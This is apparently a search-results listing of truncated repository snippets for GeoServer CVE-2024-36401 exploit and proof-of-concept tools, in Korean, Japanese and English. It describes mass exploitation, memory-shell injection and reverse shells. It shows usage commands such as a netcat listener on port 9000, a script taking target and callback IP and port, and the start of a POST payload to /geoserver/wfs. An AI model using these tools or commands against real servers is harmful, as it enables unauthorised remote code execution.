50 matches found
GeoServer-Tools-CVE-2024-36401
GeoServer-Tools-CVE-2024-36401 CVE-2024-36401 그래픽 기반 익스플로잇 도구로, 다양한 JDK 버전에서의 익스플로잇, 에코回显 및 메모리 셸内存马 구현을 지원합니다. 영향 버전: GeoServer 2.23.6 2.24.0 = GeoServer 2.24.4 2.25.0 = GeoServer 2.25.2 최근 HW에서 이 취약점이 여전히 흔하게 발견되고 있지만, 쓰기 편한 도구가 없어서 https://github.com/whitebear-ch/GeoServerExploit 의 접근 방식을 참고하여...
CVE-2024-36401_Geoserver_RCE_POC
⚠️ 免責事項： このツールはセキュリティ研究および正規に許可されたテストのみを目的としており、不正な目的で使用しないでください。利用者は法的責任を自ら負うものとします。 README バージョン：英語 | 中国語 脆弱性の説明 このスクリプトは、GeoServer のリモートコード実行脆弱性（CVE-2024-36401）向けに開発されたPoC（Proof of Concept）検出ツールです。この脆弱性により、攻撃者は特定のリクエストを構築することで、ターゲットサーバー上で任意のコマンドを実行できます。 環境依存関係...
CVE-2024-36401-WoodpeckerPlugin
CVE-2024-36401-WoodpeckerPlugin 소개 CVE-2024-36401 대량 탐지 및 익스플로잇, 사용자 정의 메모리 셸 인젝션 지원 1. 대량 탐지 가능 2. URL 주소 백엔드는 이미 필터링 처리됨 URL만 던져 넣으면 됨 3. 사용자 정의 메모리 셸을 생성하여 인젝션 가능 기본 메모리 셸 인젝션은 이미 인젝터 클래스명: java.lang.test 추가됨 「JDK11에서 defineAnonymousClass 우회 목적」 설치 소스 코드를 다운로드하여 실행 root@kitploit: mvn package...
geoserver-
geoserver CVE-2024-36401 エクスプロイトツール geoserver CVE-2024-36401 環境: JDK8 宣言: 許可されたテストにのみ使用し、ユーザーによる悪用の結果はすべて作者の責任ではありません。法律と規制を遵守してください！ 1, デフォルトペイロード: POST /geoserver/wfs HTTP/1.1 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/124.0.6367.118...
GeoServerExploit
GeoServerExploit GeoServerCVE-2024-36401/CVE-2024-36404를 대상으로 하는 취약점 공격 도구 이 프로젝트는 @hony, @wh!te?be6ar가 공동 개발했습니다. 이 프로젝트가 도움이 되셨다면 🌟Star를 눌러 응원해 주시면 감사하겠습니다. 사용 예시 감사의 말 님의 조언과 도움에 감사드립니다...
CVE-2024-36401
CVE-2024-36401 CVE-2024-36401 취약점 체크용 프로그램입니다. 사용법 먼저, 아래 명령어를 실행하여 통신 대기 상태로 만드세요. root@kitploit: nc -lvnp 9000 그런 다음, 다른 창의 터미널에서 파일을 실행하세요. root@kitploit: python CVE-2024-36401.py --target example.com --targetport 8080 --myip 172.26.16.100 --myport 9000 --target 상대방의 도메인 또는 IP 주소 --targetport...
CVE-2024-36401
GeoServer ブラインド リモートコード実行脆弱性 CVE-2024-36401 オプション: -h, --help show this help message and exit -u URL, --url URL Target URL; Example: python .py -u http://ip:port -f FILE, --file FILE Target urllist; Example: python .py -f urllist.txt -c CMD, --cmd CMD Target command; Example: python .py -u...
CVE-2024-36401-PoC
CVE-2024-36401-PoC 이 저장소는 CVE-2024-36401에 대한 개념 증명PoC 스크립트를 포함합니다. 이 취약점을 악용하면 대상 서버에서 원격 코드 실행이 가능합니다. 기능 Perl을 사용하여 리버스 셸 리스너 할당 Base64를 사용하여 명령어 인코딩 취약점을 악용하기 위해 대상 서버에 요청 전송 시그널 처리를 통해 인터럽트를 원활하게 처리 사전 요구사항 Python 3.x requests 라이브러리 설치 1. 이 저장소를 클론합니다: root@kitploit: git clone...
CVE-2024-36401-MASS
此存储库没有 README。...
CVE-2024-36401
CVE-2024-36401: GeoServer 인증되지 않은 원격 코드 실행 Exploiter - GeoServer 인증되지 않은 원격 코드 실행 CVE-2024-36401을 위한 취약점 탐지 및 익스플로잇 도구입니다. 설치 root@kitploit: git clone https://github.com/RevoltSecurities/CVE-2024-36401.git cd CVE-2024-34102 pip install -r requirements.txt python3 exploiter.py --help 테스트 환경 구축:...
CVE-2024-36401
CVE-2024-36401 使い方 root@kitploit: python3 exploit.py Enter host e.g., https://example.com/: https://target.com/ Enter IP: Your IP Public/Host Ngrok Enter Listing Port: Your Port Listen...
Exploit for Code Injection in Geoserver
CV...
Exploit for Code Injection in Geoserver
CVE-2024-36401 GeoServer Exploit Tool Vulnerability Descri...
CVE-2021-36401
creationtimestamp| type| source ---|---|--- 2025-03-08 04:35:52+00:00| seen| Telegram/dWtXUBBMI0JEddG8eutIMYgG0XupKVnkMxrZLUTJTexyuZ...
Exploit for Code Injection in Geoserver
CVE-2024-36401 Usage bash python3 e...
Exploit for Code Injection in Geoserver
CVE-2024-36401-poc CVE-2024-36401 is a high-risk remote code...
Exploit for Code Injection in Geoserver
CVE-2024-36401-WoodpeckerPlugin Introduction CVE-2024-36...
Exploit for Code Injection in Geoserver
CVE-2024-36401 This is a program for checking vulnerabilities...